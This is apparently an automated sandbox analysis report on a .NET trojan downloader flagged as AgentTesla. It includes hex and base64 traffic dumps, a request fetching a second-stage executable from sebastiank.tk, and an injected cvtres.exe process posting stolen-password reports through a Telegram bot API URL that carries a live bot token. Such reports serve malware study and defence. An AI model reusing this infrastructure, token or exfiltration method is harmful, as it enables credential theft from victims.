41 41 77 42 47 41 32 55 4c 5a 52 41 6c 41 41 41 41 41 41 41 44 41 41 59 59 49 69 58 78 41 69 55 41 41 41 41 41 41 41 
4d 41 52 67 4e 67 43 32 77 51 4a 51 41 41 41 41 41 41 41 77 42 47 41 31 59 4c 65 52 41 6c 41 41 41 41 41 41 41 44 41 
45 59 44 5a 51 73 6d 45 43 55 41 59 35 6f 41 41 41 41 41 45 52 67 6f 4a 59 59 41 4a 51 43 30 49 67 41 41 41 41 41 47 
47 43 49 6c 45 77 41 6c 41 49 43 61 41 41 41 41 41 42 4d 41 6c 77 47 51 45 43 55 41 52 4a 73 41 41 41 41 41 45 51 44 
33 42 6f 59 41 4a 51 44 73 6e 67 41 41 41 41 41 52 41 4d 51 42 6b 42 41 6c 
Data Ascii: AMARgNlC2UQJQAAAAAAAwAGGCIl8QIlAAAAAAADAEYDYAtYECUAAAAAAAMARgNWC7sPJ
QAAAAAAAwBGA2ULZRAlAAAAAAADAAYYIiXxAiUAAAAAAAMARgNgC2wQJQAAAAAAAwBGA1YLeRAlAAAAA
AADAEYDZQsmECUAY5oAAAAAERgoJYYAJQC0IgAAAAAGGCIlEwAlAICaAAAAABMAlwGQECUARJsAAAAAE
QD3BoYAJQDsngAAAAARAMQBkBAl

2022-08-08 10:54:13 UTC 226 IN Data Raw: 6e 30 41 6d 76 38 42 41 41 41 41 6c 67 42 61 49 65 59 43 66 51 43 32 2f 77 45 41 41 41 43 57 41 50 55 45 
35 67 4a 39 41 4e 48 2f 41 51 41 41 41 4a 59 41 65 69 58 6d 41 6e 30 41 37 66 38 42 41 41 41 41 6c 67 41 6d 42 65 59 
43 66 51 41 49 41 41 49 41 41 41 43 57 41 4c 55 72 35 67 4a 39 41 43 4d 41 41 67 41 41 41 4a 59 41 55 41 58 6d 41 6e 
30 41 50 67 41 43 41 41 41 41 6c 67 43 37 4d 4f 59 43 66 51 42 5a 41 41 49 41 41 41 43 57 41 48 6f 46 35 67 4a 39 41 
48 51 41 41 67 41 41 41 4a 59 41 35 54 44 6d 41 6e 30 41 6a 77 41 43 41 41 41 41 6c 67 43 79 42 65 59 43 66 51 43 71 
41 41 49 41 41 41 43 57 41 41 38 78 35 67 4a 39 41 4d 55 41 41 67 41 41 41 4a 59 41 37 51 58 6d 41 6e 30 41 34 41 41 
43 41 41 41 41 6c 67 42 31 4d 65 59 43 66 51 44 38 41 41 49 41 41 41 43 57 
Data Ascii: n0Amv8BAAAAlgBaIeYCfQC2/wEAAACWAPUE5gJ9ANH/AQAAAJYAeiXmAn0A7f8BAAAAlgAmBeYCfQA
IAAIAAACWALUr5gJ9ACMAAgAAAJYAUAXmAn0APgACAAAAlgC7MOYCfQBZAAIAAACWAHoF5gJ9AHQAAgA
AAJYA5TDmAn0AjwACAAAAlgCyBeYCfQCqAAIAAACWAA8x5gJ9AMUAAgAAAJYA7QXmAn0A4AACAAAAlgB
1MeYCfQD8AAIAAACW

2022-08-08 10:54:13 UTC 234 IN Data Raw: 4a 59 41 47 6a 48 6d 41 6e 30 41 70 7a 55 43 41 41 41 41 6c 67 44 34 42 65 59 43 66 51 44 49 4e 51 49 41 
41 41 43 57 41 4f 34 78 35 67 4a 39 41 4f 6b 31 41 67 41 41 41 4a 59 41 49 67 62 6d 41 6e 30 41 43 6a 59 43 41 41 41 
41 6c 67 41 32 4d 75 59 43 66 51 41 72 4e 67 49 41 41 41 43 57 41 45 77 47 35 67 4a 39 41 45 30 32 41 67 41 41 41 4a 
59 41 30 6a 54 6d 41 6e 30 41 62 6a 59 43 41 41 41 41 6c 67 42 33 41 65 59 43 66 51 43 51 4e 67 49 41 41 41 43 57 41 
4b 59 47 35 67 4a 39 41 4c 49 32 41 67 41 41 41 4a 59 41 75 67 48 6d 41 6e 30 41 31 44 59 43 41 41 41 41 6c 67 41 61 
42 2b 59 43 66 51 44 32 4e 67 49 41 41 41 43 57 41 4f 77 42 35 67 4a 39 41 42 67 33 41 67 41 41 41 4a 59 41 55 41 66 
6d 41 6e 30 41 4f 6a 63 43 41 41 41 41 6c 67 42 65 41 75 59 43 66 51 42 63 
Data Ascii: JYAGjHmAn0ApzUCAAAAlgD4BeYCfQDINQIAAACWAO4x5gJ9AOk1AgAAAJYAIgbmAn0ACjYCAAAAlgA
2MuYCfQArNgIAAACWAEwG5gJ9AE02AgAAAJYA0jTmAn0AbjYCAAAAlgB3AeYCfQCQNgIAAACWAKYG5gJ
9ALI2AgAAAJYAugHmAn0A1DYCAAAAlgAaB+YCfQD2NgIAAACWAOwB5gJ9ABg3AgAAAJYAUAfmAn0AOjc
CAAAAlgBeAuYCfQBc

2022-08-08 10:54:13 UTC 242 IN Data Raw: 44 6b 43 31 78 63 74 42 4a 45 42 71 51 73 79 42 45 45 43 69 51 6b 33 42 47 45 42 65 52 55 39 42 4d 6b 41 
68 53 70 59 42 4d 6b 41 61 41 31 4a 41 63 6b 41 78 51 63 75 41 63 6b 41 71 41 31 64 42 45 6b 43 52 51 4a 77 42 46 6b 
43 4d 67 6c 77 42 46 45 43 43 54 52 32 42 45 6b 43 79 53 6d 41 42 47 45 43 7a 53 32 56 42 47 6b 43 57 6a 4b 78 42 4a 
45 42 45 52 57 32 42 47 6b 43 49 69 57 38 42 4b 6b 41 45 67 72 43 42 48 45 43 4f 7a 48 49 42 48 45 43 65 52 58 4f 42 
4b 6b 41 7a 43 76 54 42 4b 6b 41 7a 43 76 5a 42 4b 6b 42 5a 42 41 54 41 43 6b 41 4f 52 73 6b 42 62 6b 43 73 79 55 71 
42 61 6b 43 5a 68 59 75 41 61 6b 43 6f 43 30 75 41 61 45 43 49 69 55 77 42 5a 6b 43 49 69 55 77 42 5a 45 43 49 69 57 
59 41 34 45 43 41 54 51 32 42 56 6b 43 6c 52 51 37 42 59 6b 43 49 69 56 42 
Data Ascii: DkC1xctBJEBqQsyBEECiQk3BGEBeRU9BMkAhSpYBMkAaA1JAckAxQcuAckAqA1dBEkCRQJwBFkCMgl
wBFECCTR2BEkCySmABGECzS2VBGkCWjKxBJEBERW2BGkCIiW8BKkAEgrCBHECOzHIBHECeRXOBKkAzCv
TBKkAzCvZBKkBZBATACkAORskBbkCsyUqBakCZhYuAakCoC0uAaECIiUwBZkCIiUwBZECIiWYA4ECATQ
2BVkClRQ7BYkCIiVB

2022-08-08 10:54:13 UTC 250 IN Data Raw: 37 59 65 41 41 41 43 43 37 49 65 41 41 42 62 44 48 6f 65 41 41 41 77 44 57 77 50 41 41 41 4b 44 33 59 65 
41 41 41 53 4b 6d 77 50 41 41 42 39 42 6f 41 65 41 41 41 53 48 59 51 65 41 41 44 5a 48 49 41 65 41 41 44 62 4b 6d 77 
50 41 41 44 59 4b 6d 77 50 41 41 44 51 4c 32 77 50 41 41 43 59 49 32 77 50 41 41 43 63 44 57 77 50 41 41 44 33 44 57 
77 50 41 41 44 75 43 57 77 50 41 41 42 44 4c 62 49 65 41 41 43 47 43 4c 49 65 41 41 41 30 4e 48 59 65 41 41 44 47 46 
62 49 65 41 41 41 74 48 72 49 65 41 41 43 67 44 33 59 65 41 41 43 74 49 64 38 65 41 41 41 71 48 47 77 50 41 41 42 34 
44 75 51 65 41 41 44 74 44 47 77 50 41 41 42 46 48 32 77 50 41 41 44 62 4d 6e 6f 65 41 41 44 50 43 4f 51 65 41 41 42 
64 43 4f 51 65 41 41 44 34 45 39 73 66 41 41 41 6f 43 62 49 65 41 41 43 55 
Data Ascii: 7YeAAACC7IeAABbDHoeAAAwDWwPAAAKD3YeAAASKmwPAAB9BoAeAAASHYQeAADZHIAeA
ADbKmwPAADYKmwPAADQL2wPAACYI2wPAACcDWwPAAD3DWwPAADuCWwPAABDLbIeAACGCLIeAAA0NHYeA
ADGFbIeAAAtHrIeAACgD3YeAACtId8eAAAqHGwPAAB4DuQeAADtDGwPAABFH2wPAADbMnoeAADPCOQeA
ABdCOQeAAD4E9sfAAAoCbIeAACU

2022-08-08 10:54:13 UTC 258 IN Data Raw: 58 42 6c 41 48 4e 6c 64 46 39 4e 5a 57 52 70 59 56 52 35 63 47 55 41 51 32 68 68 62 6d 64 6c 56 48 6c 77 
5a 51 42 57 59 57 78 31 5a 56 52 35 63 47 55 41 55 33 52 79 61 57 35 6e 56 48 6c 77 5a 51 42 54 5a 57 4e 31 63 6d 6c 
30 65 56 42 79 62 33 52 76 59 32 39 73 56 48 6c 77 5a 51 42 43 61 57 35 6b 56 47 39 55 65 58 42 6c 41 47 64 6c 64 46 
39 68 64 6d 46 30 59 58 4a 55 65 58 42 6c 41 48 4e 6c 64 46 39 68 64 6d 46 30 59 58 4a 55 65 58 42 6c 41 45 64 6c 64 
46 52 35 63 47 55 41 55 32 39 6a 61 32 56 30 56 48 6c 77 5a 51 42 7a 5a 58 52 66 51 32 39 75 64 47 56 75 64 46 52 35 
63 47 55 41 52 6d 6c 73 5a 56 4e 6f 59 58 4a 6c 41 45 4e 76 62 58 42 68 63 6d 55 41 55 48 52 79 56 47 39 54 64 48 4a 
31 59 33 52 31 63 6d 55 41 5a 32 56 30 58 30 6c 75 64 6d 46 79 61 57 46 75 
Data Ascii: XBlAHNldF9NZWRpYVR5cGUAQ2hhbmdlVHlwZQBWYWx1ZVR5cGUAU3RyaW5nVHlwZQBTZ
WN1cml0eVByb3RvY29sVHlwZQBCaW5kVG9UeXBlAGdldF9hdmF0YXJUeXBlAHNldF9hdmF0YXJUeXBlAEdldFR5cGU
AU29ja2V0VHlwZQBzZXRfQ29udGVudFR5cGUARmlsZVNoYXJlAENvbXBhcmUAUHRyVG9TdHJ1Y3R1cmU
AZ2V0X0ludmFyaWFu

2022-08-08 10:54:13 UTC 265 IN Data Raw: 57 78 43 59 58 4e 70 59 79 35 4e 65 56 4e 6c 63 6e 5a 70 59 32 56 7a 41 45 64 6c 64 45 6c 75 63 33 52 68 
62 6d 4e 6c 63 77 42 6e 5a 58 52 66 51 32 68 70 62 47 52 4f 62 32 52 6c 63 77 42 4e 59 58 52 6a 61 47 56 7a 41 45 64 
6c 64 45 52 70 63 6d 56 6a 64 47 39 79 61 57 56 7a 41 47 64 6c 64 46 39 51 63 6d 39 77 5a 58 4a 30 61 57 56 7a 41 45 
56 34 63 47 46 75 5a 45 56 75 64 6d 6c 79 62 32 35 74 5a 57 35 30 56 6d 46 79 61 57 46 69 62 47 56 7a 41 45 64 6c 64 
45 5a 70 62 47 56 7a 41 45 56 75 64 57 31 51 63 6d 39 6a 5a 58 4e 7a 54 57 39 6b 64 57 78 6c 63 77 42 48 5a 58 52 4e 
62 32 52 31 62 47 56 7a 41 45 35 31 62 57 4a 6c 63 6c 4e 30 65 57 78 6c 63 77 42 48 5a 58 52 54 64 57 4a 4c 5a 58 6c 
4f 59 57 31 6c 63 77 42 53 5a 57 46 6b 51 57 78 73 54 47 6c 75 5a 58 4d 41 
Data Ascii: WxCYXNpYy5NeVNlcnZpY2VzAEdldEluc3RhbmNlcwBnZXRfQ2hpbGROb2RlcwBNYXRjaGVzAEdldER
pcmVjdG9yaWVzAGdldF9Qcm9wZXJ0aWVzAEV4cGFuZEVudmlyb25tZW50VmFyaWFibGVzAEdldEZpbGV
zAEVudW1Qcm9jZXNzTW9kdWxlcwBHZXRNb2R1bGVzAE51bWJlclN0eWxlcwBHZXRTdWJLZXlOYW1lcwB
SZWFkQWxsTGluZXMA

Timestamp
kBytes
transferred

Direction Data
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2022-08-08 10:54:13 UTC 273 IN Data Raw: 77 67 59 45 6f 47 64 43 41 51 41 41 51 67 59 42 51 41 42 41 68 30 46 42 51 41 43 43 51 6b 4a 43 51 41 45 
41 68 67 64 43 51 6b 51 43 51 49 71 43 41 45 49 43 51 41 45 43 52 67 59 45 6f 47 64 43 41 59 41 41 67 67 59 45 41 67 
45 41 41 45 49 43 41 30 41 42 77 67 4a 43 52 30 46 45 6f 47 64 43 41 6b 59 41 52 55 52 42 77 6f 4f 43 52 4a 70 48 51 6
b 53 5a 51 6b 49 43 42 4b 42 6e 51 67 46 41 41 45 53 5a 51 67 46 41 41 45 49 45 6a 55 44 49 41 41 59 42 41 41 42 47 
41 6f 49 42 77 55 4f 44 67 34 4f 45 6d 6b 47 41 41 45 53 67 66 55 4f 43 41 63 45 45 6f 47 64 44 67 67 49 43 41 63 44 45 
59 45 35 48 51 34 49 41 77 41 41 41 67 63 48 42 51 34 43 43 41 67 49 42 51 63 43 44 68 4a 70 42 43 41 42 44 67 67 46 
49 41 41 53 67 66 6b 47 41 41 45 42 45 59 48 39 44 77 63 4a 44 67 67 64 
Data Ascii: wgYEoGdCAQAAQgYBQABAh0FBQACCQkJCQAEAhgdCQkQCQIqCAEICQAECRgYEoGdCAYAA
ggYEAgEAAEICA0ABwgJCR0FEoGdCAkYARURBwoOCRJpHQkSZQkICBKBnQgFAAESZQgFAAEIEjUDIAAYB
AABGAoIBwUODg4OEmkGAAESgfUOCAcEEoGdDggICAcDEYE5HQ4IAwAAAgcHBQ4CCAgIBQcCDhJpBCABD
ggFIAASgfkGAAEBEYH9DwcJDggd

2022-08-08 10:54:13 UTC 281 IN Data Raw: 51 63 4b 41 67 6f 49 43 42 77 64 42 51 67 49 43 41 67 46 49 41 49 4b 43 41 67 45 49 41 45 43 43 67 63 48 
42 51 73 4c 43 41 67 49 42 53 41 43 43 77 67 49 46 51 63 51 43 77 63 49 48 51 6f 49 43 68 77 4b 48 41 67 48 45 59 4f 
42 43 41 67 49 43 41 51 41 41 51 73 63 42 43 41 42 41 51 73 4c 41 41 49 52 67 34 45 52 67 34 45 52 67 34 45 47 41 41 
45 49 45 59 4f 42 43 51 41 43 43 42 47 44 67 52 47 44 67 51 51 47 45 59 4f 42 42 67 41 42 43 78 47 44 67 51 59 41 41 
51 63 52 67 34 45 4c 41 41 49 53 67 67 55 53 67 67 55 53 67 67 55 45 48 52 47 41 72 42 6b 48 46 41 49 4c 48 41 67 49 
48 52 47 41 70 41 67 63 43 68 77 4b 43 68 77 49 42 77 63 49 43 41 67 49 42 42 30 52 67 4b 67 45 48 52 47 41 70 41 51 
41 41 51 34 4c 42 43 41 42 41 67 73 55 42 77 30 64 48 41 67 43 43 41 67 63 
Data Ascii: QcKAgoICBwdBQgICAgFIAIKCAgEIAECCgcHBQsLCAgIBSACCwgIFQcQCwcIHQoIChwKHAgHEYOBCAg
ICAQAAQscBCABAQsLAAIRg4ERg4ERg4EGAAEIEYOBCQACCBGDgRGDgQQGEYOBBgABCxGDgQYAAQcRg4E
LAAISggUSggUSggUEHRGArBkHFAILHAgIHRGApAgcChwKChwIBwcICAgIBB0RgKgEHRGApAQAAQ4LBCA
BAgsUBw0dHAgCCAgc

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.4 49756 162.240.35.239 443 C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-08 10:54:14 UTC 288 OUT GET /devv/DLLL.txt HTTP/1.1
Host: sebastiank.tk

2022-08-08 10:54:14 UTC 289 IN HTTP/1.1 200 OK
Date: Mon, 08 Aug 2022 10:54:13 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Mon, 08 Aug 2022 06:49:17 GMT
Accept-Ranges: bytes
Content-Length: 20480
Content-Type: text/plain

2022-08-08 10:54:14 UTC 289 IN Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 
41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 
39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 
47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 43 78 38 47 49 41 41 41 41 41 
41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 44 51 41 41 41 41 34 41 41 41 41 41 41 41 41 30 6c 4d 41 41 41 41 
67 41 41 41 41 59 41 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 
Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9T
IG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABCx8GIAAAAAAAAAAOAADiELATAAADQAAAA4AAAAAAAA0lMA
AAAgAAAAYAAAAABAAAAgAAAAAgA

2022-08-08 10:54:14 UTC 297 IN Data Raw: 41 41 4d 41 44 34 4a 77 41 41 41 41 43 54 41 4d 77 4f 68 51 41 78 41 42 51 6f 41 41 41 41 41 4a 4d 41 37 67 
36 4b 41 44 49 41 33 43 67 41 41 41 41 41 6b 52 67 39 44 6d 34 41 4e 41 42 49 4b 51 41 41 41 41 43 47 47 41 4d 4c 63 
67 41 30 41 46 77 70 41 41 41 41 41 4a 4d 41 4d 67 2b 52 41 44 51 41 55 43 6f 41 41 41 41 41 6b 52 67 39 44 6d 34 41 
4e 51 43 6f 4b 67 41 41 41 41 43 47 47 41 4d 4c 63 67 41 31 41 4c 77 71 41 41 41 41 41 4a 45 41 2f 67 2b 67 41 44 55 4
1 41 43 73 41 41 41 41 41 6b 51 42 43 45 4b 59 41 4e 67 44 55 4b 77 41 41 41 41 43 54 41 47 51 51 72 51 41 33 41 42 
51 73 41 41 41 41 41 4a 4d 41 71 42 43 30 41 44 67 41 54 43 77 41 41 41 41 41 6b 77 44 4b 45 4c 77 41 4f 67 43 49 4c 
77 41 41 41 41 43 52 41 44 41 52 62 67 41 38 41 49 77 76 41 41 41 41 41 
Data Ascii: AAMAD4JwAAAACTAMwOhQAxABQoAAAAAJMA7g6KADIA3CgAAAAAkRg9Dm4ANABIKQAAAA
CGGAMLcgA0AFwpAAAAAJMAMg+RADQAUCoAAAAAkRg9Dm4ANQCoKgAAAACGGAMLcgA1ALwqAAAAAJEA/g
+gADUAACsAAAAAkQBCEKYANgDUKwAAAACTAGQQrQA3ABQsAAAAAJMAqBC0ADgATCwAAAAAkwDKELwAOg
CILwAAAACRADARbgA8AIwvAAAAA

2022-08-08 10:54:14 UTC 304 IN Data Raw: 46 6b 55 48 4a 76 59 32 56 7a 63 30 31 6c 62 57 39 79 65 51 42 58 63 6d 6c 30 5a 56 42 79 62 32 4e 6c 63 
33 4e 4e 5a 57 31 76 63 6e 6b 41 56 57 35 74 59 58 42 57 61 57 56 33 54 32 5a 54 5a 57 4e 30 61 57 39 75 41 46 5a 70 
63 6e 52 31 59 57 78 42 62 47 78 76 59 30 56 34 41 46 4a 6c 63 33 56 74 5a 56 52 6f 63 6d 56 68 5a 41 42 47 62 33 4a 
74 59 58 51 41 52 32 56 30 56 48 6c 77 5a 55 5a 79 62 32 31 49 59 57 35 6b 62 47 55 41 55 32 6c 36 5a 55 39 6d 41 46 
52 76 56 55 6c 75 64 44 4d 79 41 45 6c 7a 54 6e 56 73 62 45 39 79 52 57 31 77 64 48 6b 41 51 32 39 75 59 32 46 30 41 
46 70 6c 63 6d 38 41 56 47 39 4a 62 6e 51 7a 4d 67 42 6e 5a 58 52 66 55 32 6c 36 5a 51 42 55 62 30 6c 75 64 44 45 32 
41 45 4a 73 62 32 4e 72 51 32 39 77 65 51 42 48 5a 58 52 43 65 58 52 6c 63 
Data Ascii: FkUHJvY2Vzc01lbW9yeQBXcml0ZVByb2Nlc3NNZW1vcnkAVW5tYXBWaWV3T2ZTZWN0aW9uAFZpcnR1
YWxBbGxvY0V4AFJlc3VtZVRocmVhZABGb3JtYXQAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAFRvVUludDMyAElzTn
VsbE9yRW1wdHkAQ29uY2F0AFplcm8AVG9JbnQzMgBnZXRfU2l6ZQBUb0ludDE2AEJsb2NrQ29weQBHZXRCeXRlc

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.4 49855 149.154.167.220 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-08 10:56:04 UTC 309 OUT POST /bot5083863399:AAH9g72QTdN88jNOd6_tBrE8gEd-FpXnfHE/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8da79575956deb2
Host: api.telegram.org
Content-Length: 1001
Expect: 100-continue
Connection: Keep-Alive

2022-08-08 10:56:04 UTC 309 IN HTTP/1.1 100 Continue

2022-08-08 10:56:04 UTC 309 OUT Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 
39 35 37 35 39 35 36 64 65 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 
61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 35 30 34 31 30 38 39 37 34 36 0d 0a 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 35 37 35 39 35 36 64 65 62 
32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 
22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 
6d 65 3a 20 6a 6f 6e 65 73 2f 39 33 36 39 30 35 0a 4f 53 46 75 6c 6c 
Data Ascii: -----------------------------8da79575956deb2Content-Disposition: form-data; name="chat_id"5041089746----------------
-------------8da79575956deb2Content-Disposition: form-data; name="caption"New PW Recovered!User Name: user/93690
5OSFull

2022-08-08 10:56:04 UTC 310 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 08 Aug 2022 10:56:04 GMT
Content-Type: application/json
Content-Length: 628
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
{"ok":true,"result":{"message_id":257686,"from":{"id":5083863399,"is_bot":true,"first_name":"kay","username":"kaywins_bo
t"},"chat":{"id":5041089746,"first_name":"Popo","last_name":"Popo","username":"popo2024","type":"private"},"da
te":1659956164,"document":{"file_name":"user-936905 2022-08-08 04-01-14.html","mime_type":"text/html","file_id
":"BQACAgEAAxkDAAED7pZi8OvEfd09A4hIrHojV1M0GDk-VgACjAIAAhJNgEfNmzcRlb3_gikE","file_unique_id":"AgADj
AIAAhJNgEc","file_size":431},"caption":"New PW Recovered!\n\nUser Name: user/936905\nOSFullName: Microsoft Win
dows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

• SecuriteInfo.com.Trojan.DownLoad…

• cvtres.exe

Click to jump to process

Target ID: 0

Start time: 12:54:09

Start date: 08/08/2022

Statistics

Behavior

System Behavior

Analysis Process: SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe PID: 2280, Parent PID: 5780

General
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Path: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe" 

Imagebase: 0x200000

File size: 246304 bytes

MD5 hash: 36C6DDDAA5FB7F14E221C8FA3BDA0D92

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000000.00000002.245594271.0000000003D89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000000.00000002.245594271.0000000003D89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 
00000000.00000002.245594271.0000000003D89000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_AgentTesla_f2a90d14, Description: unknown, Source: 
00000000.00000002.245594271.0000000003D89000.00000004.00000800.00020000.00000000.sdmp, Author: unknown

Reputation: low

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6CDBCF06 unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6CDBCF06 unknown

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\
SecuriteInfo.com.Trojan.DownLo
aderNET.447.21602.exe.log

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6D0CC78D CreateFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\
SecuriteInfo.com.Trojan.DownLo
aderNET.447.21602.exe.log

0 847 31 2c 22 66 75 73 69 6f 
6e 22 2c 22 47 41 43 22 
2c 30 0d 0a 31 2c 22 57 
69 6e 52 54 22 2c 22 4e 
6f 74 41 70 70 22 2c 31 
0d 0a 33 2c 22 53 79 73 
74 65 6d 2c 20 56 65 72 
73 69 6f 6e 3d 34 2e 30 
2e 30 2e 30 2c 20 43 75 
6c 74 75 72 65 3d 6e 65 
75 74 72 61 6c 2c 20 50 
75 62 6c 69 63 4b 65 79 
54 6f 6b 65 6e 3d 62 37 
37 61 35 63 35 36 31 39 
33 34 65 30 38 39 22 2c 
22 43 3a 5c 57 69 6e 64 
6f 77 73 5c 61 73 73 65 
6d 62 6c 79 5c 4e 61 74 
69 76 65 49 6d 61 67 65 
73 5f 76 34 2e 30 2e 33 
30 33 31 39 5f 33 32 5c 
53 79 73 74 65 6d 5c 34 
66 30 61 37 65 65 66 61 
33 63 64 33 65 30 62 61 
39 38 62 35 65 62 64 64 
62 62 63 37 32 65 36 5c 
53 79 73 74 65 6d 2e 6e 
69 2e 64 6c 6c 22 2c 30 
0d 0a 33 2c 22 53 79 73 
74 65 6d 2e 43 6f 72 65 
2c 20 56 65 72 73 69 6f 
6e 3d 34 2e 30 2e 30 

1,"fusion","GAC",01,"Win
RT","N
otApp",13,"System, 
Version=4.0.0.0, 
Culture=neutral, PublicK
eyToken=b77a5c561934
e089","C:\
Windows\assembly\Nativ
eImages_
v4.0.30319_32\System\4f
0a7eefa
3cd3e0ba98b5ebddbbc72
e6\System
.ni.dll",03,"System.Core, 
Version=4.0.0

success or wait 1 6D0CC907 WriteFile

File Activities

File Created

File Written

File Read
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6CD95705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6CCF03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6CD9CA54 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

unknown 620 success or wait 1 6CCF03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux

unknown 864 success or wait 1 6CCF03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

unknown 900 success or wait 1 6CCF03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6CCF03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6BC01B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6BC01B4F ReadFile

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Target ID: 3

Start time: 12:54:14

Start date: 08/08/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Wow64 process (32bit): true

